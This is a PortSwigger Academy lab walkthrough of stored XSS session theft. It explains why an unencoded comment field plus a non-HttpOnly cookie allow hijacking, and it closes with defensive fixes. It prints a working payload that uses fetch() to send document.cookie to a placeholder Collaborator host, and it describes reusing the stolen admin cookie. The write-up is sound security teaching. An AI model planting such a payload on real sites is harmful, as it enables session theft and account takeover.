Authorization disclaimer. This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.

Overview

This lab isolates Stored XSS session theft. The comment parameter is stored as unencoded HTML, the victim automatically views new comments, and the session cookie is readable because it is not HttpOnly. When the victim renders the comment, the script sends document.cookie to Collaborator without another click.

Lab objective/setup

Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: Replacing the local session value with the captured administrator cookie permits deletion of carlos.

What I observed

The comment parameter is stored as unencoded HTML, the victim automatically views new comments, and the session cookie is readable because it is not HttpOnly. When the victim renders the comment, the script sends document.cookie to Collaborator without another click.

Academy objective requires stored comment XSS to exfiltrate the simulated victim session cookie and reuse it for impersonation.
Academy objective requires stored comment XSS to exfiltrate the simulated victim session cookie and reuse it for impersonation.
Comment form contains an inert fetch-based payload that sends `document.cookie` to the Collaborator host in a POST body.
Comment form contains an inert fetch-based payload that sends `document.cookie` to the Collaborator host in a POST body.

Why it is vulnerable

The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, the comment parameter is stored as unencoded HTML, the victim automatically views new comments, and the session cookie is readable because it is not HttpOnly. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.

Walkthrough in the authorized PortSwigger lab

First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:

1
`<script>fetch('https://COLLABORATOR/?c='+document.cookie)</script>`

When the victim renders the comment, the script sends document.cookie to Collaborator without another click.

Burp Collaborator records the victim callback and highlights the exfiltrated session cookie in the HTTP request body.
Burp Collaborator records the victim callback and highlights the exfiltrated session cookie in the HTTP request body.
Browser storage inspector shows the replacement `session` cookie installed for the lab origin before impersonation.
Browser storage inspector shows the replacement `session` cookie installed for the lab origin before impersonation.
Solved Academy banner confirms the stolen synthetic session cookie was accepted as the victim session.
Solved Academy banner confirms the stolen synthetic session cookie was accepted as the victim session.

Verification

Replacing the local session value with the captured administrator cookie permits deletion of carlos. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.

Impact and defensive lesson

In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.

References